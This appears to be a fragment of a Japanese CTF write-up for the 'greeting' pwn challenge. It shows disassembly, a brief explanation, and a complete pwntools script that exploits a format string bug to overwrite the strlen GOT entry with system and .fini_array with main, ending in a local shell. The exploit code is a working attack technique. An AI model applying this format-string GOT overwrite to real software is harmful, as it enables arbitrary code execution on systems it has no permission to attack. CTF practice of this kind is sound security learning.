8048695: e8 c6 fd ff ff call 8048460 <fgets@plt> 804869a: c7 44 24 04 0a 00 00 mov DWORD PTR [esp+0x4],0xa 80486a1: 00 80486a2: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80486a5: 89 04 24 mov DWORD PTR [esp],eax 80486a8: e8 03 fe ff ff call 80484b0 <strchr@plt> 80486ad: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 80486b0: 83 7d f4 00 cmp DWORD PTR [ebp-0xc],0x0 80486b4: 74 06 je 80486bc <getnline+0x43> 80486b6: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 80486b9: c6 00 00 mov BYTE PTR [eax],0x0 80486bc: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80486bf: 89 04 24 mov DWORD PTR [esp],eax 80486c2: e8 f9 fd ff ff call 80484c0 <strlen@plt>
Exploit
入力した値を格納する変数の位置と一緒に出力される文字列”Nice to meet you, ”の存在に気をつけながらstrlenのgotアドレスをsystem関数上書きと.fini_arrayの関数をmain関数上書きをする.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * #context.log_level = 'debug' conn = process('./greeting') elf = ELF('./greeting') system_plt_addr = elf.plt['system'] strlen_got_addr = elf.got['strlen'] main_addr = elf.symbols['main'] fini_array_addr = elf.get_section_by_name('.fini_array').header.sh_addr system_plt_addr_low = system_plt_addr & 0x000ffff system_plt_addr_high = system_plt_addr >> 16 main_addr_low = main_addr & 0x000ffff payload = "AA" payload += p32(strlen_got_addr + 2) payload += p32(strlen_got_addr) payload += p32(fini_array_addr) payload += "%" + str(system_plt_addr_high - len(payload + "Nice to meet you, ") ) + "x" payload += "%12$hn" payload += "%" + str(system_plt_addr_low - system_plt_addr_high ) + "x" payload += "%13$hn" payload += "%" + str(main_addr_low - system_plt_addr_low ) + "x" payload += "%14$hn" payload += "\n" conn.recv() conn.send(payload) conn.recvuntil("...") conn.send("/bin/sh\n") conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/baby/greeting$ python exploit.py [+] Starting local process './greeting': pid 31373 [*] '/home/mattun-mart/Workspace/pwn/baby/greeting/greeting' Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) [*] Switching to interactive mode $ ls core dump exploit.py greeting peda-session-greeting.txt